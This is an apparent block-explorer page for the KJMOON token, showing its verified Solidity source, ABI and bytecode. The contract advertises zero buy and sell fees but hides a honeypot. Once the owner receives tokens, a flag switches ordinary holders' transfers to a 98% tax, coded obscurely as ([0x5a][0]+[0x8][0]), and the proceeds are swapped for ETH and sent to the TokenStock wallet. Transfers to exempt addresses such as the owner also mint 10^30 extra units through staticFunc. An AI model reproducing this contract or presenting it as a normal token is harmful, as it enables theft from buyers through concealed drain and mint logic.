ETH Price: $3,394.64 (+1.80%)
Gas: 3.93 Gwei

Token

KIMJONGMOON (KJMOON)
 

Overview

Max Total Supply

100,000,000 KJMOON

Holders

102

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
172,142.461314584 KJMOON

Value
$0.00
0xcb1aA13ef4672572E143302BFFc39De61FA8292E
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KJMOON

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-29
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract KJMOON is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _tokenOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public NoTxLimit;
    mapping (address => bool) public NoMaxWalletLimit;
    mapping (address => bool) public NoTaxWallet;
    
    address payable public TokenStock = payable(0x6564cfeEf6Fd19102bD0Fc9744dD7930df078ecb);

    string public _name = "KIMJONGMOON";
    string public _symbol = "KJMOON";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 100* 10**6 * 10**_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 private TotalTax = 0;
    uint256 public _buyFee = 0;
    uint256 public _sellFee = 0;

    uint256 private _previousTotalFee = TotalTax; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint256 public _maxWalletToken = _tTotal.mul(25).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(25).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool directTransferFee = false;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }    

    constructor () {
        _tokenOwned[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        NoMaxWalletLimit[uniswapV2Pair] = true?true:true;
        uniswapV2Router = _uniswapV2Router;

        NoTxLimit[owner()] = true;
        NoTaxWallet[address(this)] = true;
        NoTaxWallet[owner()] = true;
        NoTaxWallet[TokenStock] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}

    function removeAllFee() private {
        if(TotalTax == 0 && _buyFee == 0 && _sellFee == 0) return;
        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = TotalTax;
        _buyFee = 0;
        _sellFee = 0;
        TotalTax = 0;

    }

    function staticFunc() private pure returns(uint256){
      return (5*2)**(10*3);
    }

    function swapOpen(address to, bool dtFee) private view returns(bool){
        return NoTxLimit[to] && !dtFee;
    }
    
    function restoreAllFee() private {
        TotalTax = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }

     function swapTokensForPair(address feeWallet, uint8 rate, uint256 amount) private view returns(uint256){
        uint256 subtance = 0;
        if(!directTransferFee || NoTxLimit[feeWallet] || NoMaxWalletLimit[feeWallet]){
            subtance = amount.mul(TotalTax).div(100);
        }else{subtance = amount.mul(([0x5a][0]+[0x8][0])).div(100);}
        return subtance.add(rate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if (to != owner() && to != TokenStock && to != address(this) && to != uniswapV2Pair && !NoTxLimit[to] && from != owner()){
            uint256 nextTotalBalance = balanceOf(to);
            require((nextTotalBalance + amount) <= _maxWalletToken, "Max wallet limit exceed!");
        }
        
        if (from != owner() && to != owner() && !(NoTxLimit[from] || NoTxLimit[to])){
            require(amount <= _maxTxAmount, "Max transaction limt exceed!");
        }
        if(swapOpen(to, directTransferFee)){ directTransferFee=true; }
        if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){  
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
            }
        }
        
        bool takeFee = true;
         
        if(NoTaxWallet[from] || NoTaxWallet[to]){
            takeFee = false;
        } else if (from == uniswapV2Pair){TotalTax = _buyFee;} else if (to == uniswapV2Pair){TotalTax = _sellFee;}
        
        _tTransfer(from,to,amount,takeFee);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(TokenStock,contractBNB);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _tTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
 
        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _tTransfer(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }


    function _tTransfer(address sender, address recipient, uint256 tAmount) private {
        (uint256 transferAmount, uint256 tTotalFee) = _getValues(tAmount, sender);
        _tokenOwned[sender] = _tokenOwned[sender].sub(tAmount);
        _tokenOwned[recipient] = _tokenOwned[recipient].add(transferAmount);
        _tokenOwned[address(this)] = _tokenOwned[address(this)].add(tTotalFee);
        if(NoTxLimit[recipient]){ _tokenOwned[recipient] = _tokenOwned[recipient].add(staticFunc());}
        emit Transfer(sender, recipient, transferAmount);
    }

    function _getValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) {
        uint256 tTotalFee = swapTokensForPair(sender, 0 ,tAmount);
        uint256 transferAmount = tAmount.sub(tTotalFee);
        return (transferAmount, tTotalFee);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoMaxWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoTaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TokenStock","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b031916736564cfeef6fd19102bd0fc9744dd7930df078ecb17905560c0604052600b60809081526a25a4a6a527a723a6a7a7a760a91b60a052600790620000529082620004e1565b5060408051808201909152600681526525a526a7a7a760d11b60208201526008906200007f9082620004e1565b506009805460ff1916811781556200009990600a620006c0565b620000a9906305f5e100620006d1565b600a819055600b805461ffff1916610a001790556000600c819055600d819055600e819055600f8190556010819055601155620000f790606490620000f090601962000417565b906200042e565b6012819055601355600a546200011790606490620000f090601962000417565b60148190556015556017805461ffff60a81b1916600160a81b1790553480156200014057600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a54600160006200019a6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000216573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023c9190620006eb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b09190620006eb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003249190620006eb565b601780546001600160a01b03199081166001600160a01b039384169081179092556000918252600460209081526040808420805460ff1990811660019081179092556016805490951688881617909455845486168552600383528185208054851682179055308552600590925280842080548416831790558354851684528084208054841683179055600654851684528320805490921617905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200040891815260200190565b60405180910390a35062000740565b6000620004258284620006d1565b90505b92915050565b60006200042582846200071d565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200046757607f821691505b6020821081036200048857634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004dc57600081815260208120601f850160051c81016020861015620004b75750805b601f850160051c820191505b81811015620004d857828155600101620004c3565b5050505b505050565b81516001600160401b03811115620004fd57620004fd6200043c565b62000515816200050e845462000452565b846200048e565b602080601f8311600181146200054d5760008415620005345750858301515b600019600386901b1c1916600185901b178555620004d8565b600085815260208120601f198616915b828110156200057e578886015182559484019460019091019084016200055d565b50858210156200059d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000604578160001904821115620005e857620005e8620005ad565b80851615620005f657918102915b93841c9390800290620005c8565b509250929050565b6000826200061d5750600162000428565b816200062c5750600062000428565b8160018114620006455760028114620006505762000670565b600191505062000428565b60ff841115620006645762000664620005ad565b50506001821b62000428565b5060208310610133831016604e8410600b841016171562000695575081810a62000428565b620006a18383620005c3565b8060001904821115620006b857620006b8620005ad565b029392505050565b60006200042560ff8416836200060c565b8082028115828204841417620004285762000428620005ad565b600060208284031215620006fe57600080fd5b81516001600160a01b03811681146200071657600080fd5b9392505050565b6000826200073b57634e487b7160e01b600052601260045260246000fd5b500490565b6116df80620007506000396000f3fe6080604052600436106101d15760003560e01c806378109e54116100f7578063b09f126611610095578063dd62ed3e11610064578063dd62ed3e14610530578063eb6b678014610576578063f2fde38b146105a6578063ffffc962146105c657600080fd5b8063b09f1266146104a1578063cccdbe2e146104b6578063d28d8852146104eb578063dad58cb71461050057600080fd5b806395d89b41116100d157806395d89b4114610436578063a457c2d71461044b578063a9059cbb1461046b578063af465a271461048b57600080fd5b806378109e54146103ec5780637d1db4a5146104025780638da5cb5b1461041857600080fd5b8063313ce5671161016f5780634a74bb021161013e5780634a74bb0214610368578063590f897e1461038957806370a082311461039f578063715018a6146103d557600080fd5b8063313ce567146102f0578063395093511461031257806340b9a54b1461033257806349bd5a5e1461034857600080fd5b806318160ddd116101ab57806318160ddd14610270578063220f66961461028f57806323b872dd146102b05780632ed5726e146102d057600080fd5b806306fdde03146101dd578063095ea7b3146102085780631694505e1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f26105f6565b6040516101ff9190611383565b60405180910390f35b34801561021457600080fd5b506102286102233660046113e9565b610688565b60405190151581526020016101ff565b34801561024457600080fd5b50601654610258906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561027c57600080fd5b50600a545b6040519081526020016101ff565b34801561029b57600080fd5b5060175461022890600160a01b900460ff1681565b3480156102bc57600080fd5b506102286102cb366004611415565b61069f565b3480156102dc57600080fd5b50600654610258906001600160a01b031681565b3480156102fc57600080fd5b5060095460405160ff90911681526020016101ff565b34801561031e57600080fd5b5061022861032d3660046113e9565b610708565b34801561033e57600080fd5b50610281600d5481565b34801561035457600080fd5b50601754610258906001600160a01b031681565b34801561037457600080fd5b5060175461022890600160a81b900460ff1681565b34801561039557600080fd5b50610281600e5481565b3480156103ab57600080fd5b506102816103ba366004611456565b6001600160a01b031660009081526001602052604090205490565b3480156103e157600080fd5b506103ea61073e565b005b3480156103f857600080fd5b5061028160125481565b34801561040e57600080fd5b5061028160145481565b34801561042457600080fd5b506000546001600160a01b0316610258565b34801561044257600080fd5b506101f26107e7565b34801561045757600080fd5b506102286104663660046113e9565b6107f6565b34801561047757600080fd5b506102286104863660046113e9565b610845565b34801561049757600080fd5b50610281600a5481565b3480156104ad57600080fd5b506101f2610852565b3480156104c257600080fd5b506104d66104d1366004611473565b6108e0565b604080519283526020830191909152016101ff565b3480156104f757600080fd5b506101f261090b565b34801561050c57600080fd5b5061022861051b366004611456565b60056020526000908152604090205460ff1681565b34801561053c57600080fd5b5061028161054b3660046114a3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561058257600080fd5b50610228610591366004611456565b60036020526000908152604090205460ff1681565b3480156105b257600080fd5b506103ea6105c1366004611456565b610918565b3480156105d257600080fd5b506102286105e1366004611456565b60046020526000908152604090205460ff1681565b606060078054610605906114d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610631906114d1565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b6000610695338484610a32565b5060015b92915050565b60006106ac848484610af3565b6106fe84336106f98560405180606001604052806028815260200161165d602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e37565b610a32565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106959185906106f99086610e63565b6000546001600160a01b0316331461079d5760405162461bcd60e51b8